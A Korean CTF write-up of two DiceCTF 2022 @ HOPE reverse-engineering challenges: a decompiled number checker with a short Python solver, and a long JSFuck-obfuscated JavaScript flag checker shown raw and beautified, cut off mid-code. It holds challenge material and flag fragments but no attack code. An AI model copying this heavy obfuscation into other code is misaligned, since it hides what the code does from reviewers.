Sechack

Dice CTF 2022 @ HOPE Write up 본문

CTF

Dice CTF 2022 @ HOPE Write up

Sechack 2022. 7. 25. 04:03
반응형

오랜만에 H4C에서 CTF를 제대로 뛰어봤다. 이번에 팀원 모집 하면서 TeamH4C내부에 있는 CTF팀인 C4C에도 잘하시는 분들 많이 오셔서 좋은 성과를 낼 수 있었다. 레이팅 47.77짜리 CTF라서 어려울줄 알았는데 생각보다 문제가 쉬워서 문제 많이 풀었다. 주 분야인 포너블도 올클 했다.

 

 

 

write up은 내가 푼 문제만 작성할 것이다.

 

 

rev/sequence

 

 

 

 

_BOOL8 __fastcall read_numbers(__int64 a1)
{
  char s[264]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v3; // [rsp+118h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("input: ");
  fflush(_bss_start);
  fgets(s, 256, stdin);
  return (unsigned int)__isoc99_sscanf(s, "%d %d %d %d %d %d", a1, a1 + 4, a1 + 8, a1 + 12, a1 + 16, a1 + 20) == 6;
}

 

그냥 숫자 6개 입력받고 조건 만족하는지 체크해서 맞으면 플래그 준다. 비교하는 값을 앞에 숫자에 특정 연산을 해서 설정하는데 첫번째 값은 12로 고정이다. 첫번째 값을 아니까 for문 안에서 하는 연산 그대로 반복해줘서 6개의 숫자 모두 알아낼 수 있다.

 

a = 12
print(a, end=' ')

for i in range(1, 6):
    a = (3*a+7)%16
    print(a, end=' ')

 

 

..? 이런 간단한 문제에 굳이 angr을 써아하나..?

 

 

rev/super anti scalper solution 9000

 

<input id="input"></input><button onclick="check()">check solve</button><script> function check() { checkSolve(document.getElementById('input').value); } async function checkSolve(n) { const o = JSON.parse( '{"0":"","48":"0","95":"_","107332":"log","107868":"map","3151786":"from","3267882":"join","3344077":"mark","3373707":"name","92960979":"angle","99463871":"hope{","109526418":"slice","400256961":"you got it!","757893007":"padStart","1207387375":"wrong flag :(","1811681647":"_sold!}","-1074417128":"[object Object]","-1523887726":"SHA-256","-989967315":"fromCharCode","-1106363674":"length","-1776922004":"toString","-1266514778":"frames","-1013175693":"onLine","-1439500848":"orientation","-1298776554":"encode","-1331913276":"digest","-891528531":"subtle"}' ); const e = String[ o[ -+( !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![]) ) ] ]( +( +!![] + [!![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) ) - eval[ o[ -+( +!![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![]) + (!![] + !![]) + +[] + +[] + (!![] + !![] + !![] + !![]) ) ] ]()[ o[ -+( +!![] + [+!![]] + +[] + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![]) ) ] ] ) + String[ o[ -+( !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![]) ) ] ]( (window.frames[ o[ -+( +!![] + [+!![]] + +[] + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![]) ) ] ] !== -+!![]) * +(!![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![]]) ) + String[ o[ -+( !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![]) ) ] ]( (navigator[ o[ -+( +!![] + [+[]] + +!![] + (!![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) ) ] ] + screen.orientation[ o[ +( !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + +[] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) ) ] ]) * +(+!![] + [+!![]] + +!![]) ) + String[ o[ -+( !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![]) ) ] ]( (performance[ o[ +( !![] + !![] + !![] + [!![] + !![] + !![]] + (!![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![]) + +[] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) ) ] ]({})[ o[ +( !![] + !![] + !![] + [!![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + +[] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) ) ] ] === o[ -+( +!![] + [+[]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + +!![] + (!![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) ) ]) * +(+!![] + [+[]] + +!![]) ); const t = new TextEncoder()[ o[ -+( +!![] + [!![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![]) ) ] ](e); const r = await crypto.subtle[ o[ -+( +!![] + [!![] + !![] + !![]] + (!![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + +!![] + (!![] + !![] + !![]) + (!![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) ) ] ]( o[ -+( +!![] + [!![] + !![] + !![] + !![] + !![]] + (!![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) ) ], t ); const a = Array[ o[ +( !![] + !![] + !![] + [+!![]] + (!![] + !![] + !![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) ) ] ](new Uint8Array(r)); const c = a[ o[ +( +!![] + [+[]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) ) ] ](function (n) { return n[ o[ -+( +!![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![]) + (!![] + !![]) + +[] + +[] + (!![] + !![] + !![] + !![]) ) ] ](+(+!![] + [!![] + !![] + !![] + !![] + !![] + !![]]))[ o[ +( !![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + +[] + +[] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) ) ] ]( !![] + !![], o[ +( !![] + !![] + !![] + !![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]] ) ] ); })[ o[ +( !![] + !![] + !![] + [!![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![]) ) ] ](o[+[]]); const i = c[ o[ +( +!![] + [+[]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![]) + (!![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) ) ] ](+[], +(+!![] + [!![] + !![] + !![] + !![] + !![] + !![]])); if ( n === o[ +( !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + +!![] ) ] + e + o[ +( !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![] + !![] + !![] + !![]] ) ] + i + o[ +( +!![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]] + +!![] + +!![] + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) ) ] ) { console[ o[ +( +!![] + [+[]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![]) ) ] ]( o[ +( !![] + !![] + !![] + !![] + [+[]] + +[] + (!![] + !![]) + (!![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + +!![] ) ] ); } else { console[ o[ +( +!![] + [+[]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![]) ) ] ]( o[ +( +!![] + [!![] + !![]] + +[] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![]) ) ] ); } }</script>

 

HTML파일 하나가 주어진다. 딱봐도 jsfuck이긴 한데 그냥 js문법도 조금씩 섞여있어서 디코딩 하려하니까 잘 안됐다.

 

function check() {
   checkSolve(document.getElementById('input').value);
}
async function checkSolve(n) {
   const o = JSON.parse('{"0":"","48":"0","95":"_","107332":"log","107868":"map","3151786":"from","3267882":"join","3344077":"mark","3373707":"name","92960979":"angle","99463871":"hope{","109526418":"slice","400256961":"you got it!","757893007":"padStart","1207387375":"wrong flag :(","1811681647":"_sold!}","-1074417128":"[object Object]","-1523887726":"SHA-256","-989967315":"fromCharCode","-1106363674":"length","-1776922004":"toString","-1266514778":"frames","-1013175693":"onLine","-1439500848":"orientation","-1298776554":"encode","-1331913276":"digest","-891528531":"subtle"}');
   const e = String[o[- +(!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![]))]](+(+!![] + [!![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![])) - eval[o[- +(+!![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![]) + (!![] + !![]) + +[] + +[] + (!![] + !![] + !![] + !![]))]]()[o[- +(+!![] + [+!![]] + +[] + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![]))]]) + String[o[- +(!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![]))]]((window.frames[o[- +(+!![] + [+!![]] + +[] + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![]))]] !== - +!![]) * +(!![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![]])) + String[o[- +(!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![]))]]((navigator[o[- +(+!![] + [+[]] + +!![] + (!![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]))]] + screen.orientation[o[+(!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + +[] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]))]]) * +(+!![] + [+!![]] + +!![])) + String[o[- +(!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![]))]]((performance[o[+(!![] + !![] + !![] + [!![] + !![] + !![]] + (!![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![]) + +[] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]))]]({})[o[+(!![] + !![] + !![] + [!![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + +[] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]))]] === o[- +(+!![] + [+[]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + +!![] + (!![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]))]) * +(+!![] + [+[]] + +!![]));
   const t = new TextEncoder()[o[- +(+!![] + [!![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![]))]](e);
   const r = await crypto.subtle[o[- +(+!![] + [!![] + !![] + !![]] + (!![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + +!![] + (!![] + !![] + !![]) + (!![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]))]](o[- +(+!![] + [!![] + !![] + !![] + !![] + !![]] + (!![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]))], t);
   const a = Array[o[+(!![] + !![] + !![] + [+!![]] + (!![] + !![] + !![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]))]](new Uint8Array(r));
   const c = a[o[+(+!![] + [+[]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]))]](function (n) {
      return n[o[- +(+!![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![]) + (!![] + !![]) + +[] + +[] + (!![] + !![] + !![] + !![]))]](+(+!![] + [!![] + !![] + !![] + !![] + !![] + !![]]))[o[+(!![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + +[] + +[] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]))]](!![] + !![], o[+(!![] + !![] + !![] + !![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]])]);
   })[o[+(!![] + !![] + !![] + [!![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![]))]](o[+[]]);
   const i = c[o[+(+!![] + [+[]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![]) + (!![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]))]](+[], +(+!![] + [!![] + !![] + !![] + !![] + !![] + !![]]));
   if (n === o[+(!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + +!![])] + e + o[+(!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![] + !![] + !![] + !![]])] + i + o[+(+!![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]] + +!![] + +!![] + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]))]) {
      console[o[+(+!![] + [+[]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![]))]](o[+(!![] + !![] + !![] + !![] + [+[]] + +[] + (!![] + !![]) + (!![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + +!![])]);
   } else {
      console[o[+(+!![] + [+[]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![]))]](o[+(+!![] + [!![] + !![]] + +[] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![]))]);
   }
}

 

JavaScript Beautifier한번 돌리려주니까 좀 보기 편하게 나온다. 가장 눈에 띄는건 if문인데 n을 특정 문자열과 비교한다. n은 우리의 입력인데 그러면 n과 비교하는 저 값은 플래그일 수밖에 없다.

 

 

 

async function checkSolve(n) {
   const o = JSON.parse('{"0":"","48":"0","95":"_","107332":"log","107868":"map","3151786":"from","3267882":"join","3344077":"mark","3373707":"name","92960979":"angle","99463871":"hope{","109526418":"slice","400256961":"you got it!","757893007":"padStart","1207387375":"wrong flag :(","1811681647":"_sold!}","-1074417128":"[object Object]","-1523887726":"SHA-256","-989967315":"fromCharCode","-1106363674":"length","-1776922004":"toString","-1266514778":"frames","-1013175693":"onLine","-1439500848":"orientation","-1298776554":"encode","-1331913276":"digest","-891528531":"subtle"}');
   const e = String[o[- +(!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![]))]](+(+!![] + [!![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![])) - eval[o[- +(+!![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![]) + (!![] + !![]) + +[] + +[] + (!![] + !![] + !![] + !![]))]]()[o[- +(+!![] + [+!![]] + +[] + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![]))]]) + String[o[- +(!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![]))]]((window.frames[o[- +(+!![] + [+!![]] + +[] + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![]))]] !== - +!![]) * +(!![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![]])) + String[o[- +(!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![]))]]((navigator[o[- +(+!![] + [+[]] + +!![] + (!![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]))]] + screen.orientation[o[+(!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + +[] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]))]]) * +(+!![] + [+!![]] + +!![])) + String[o[- +(!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![]))]]((performance[o[+(!![] + !![] + !![] + [!![] + !![] + 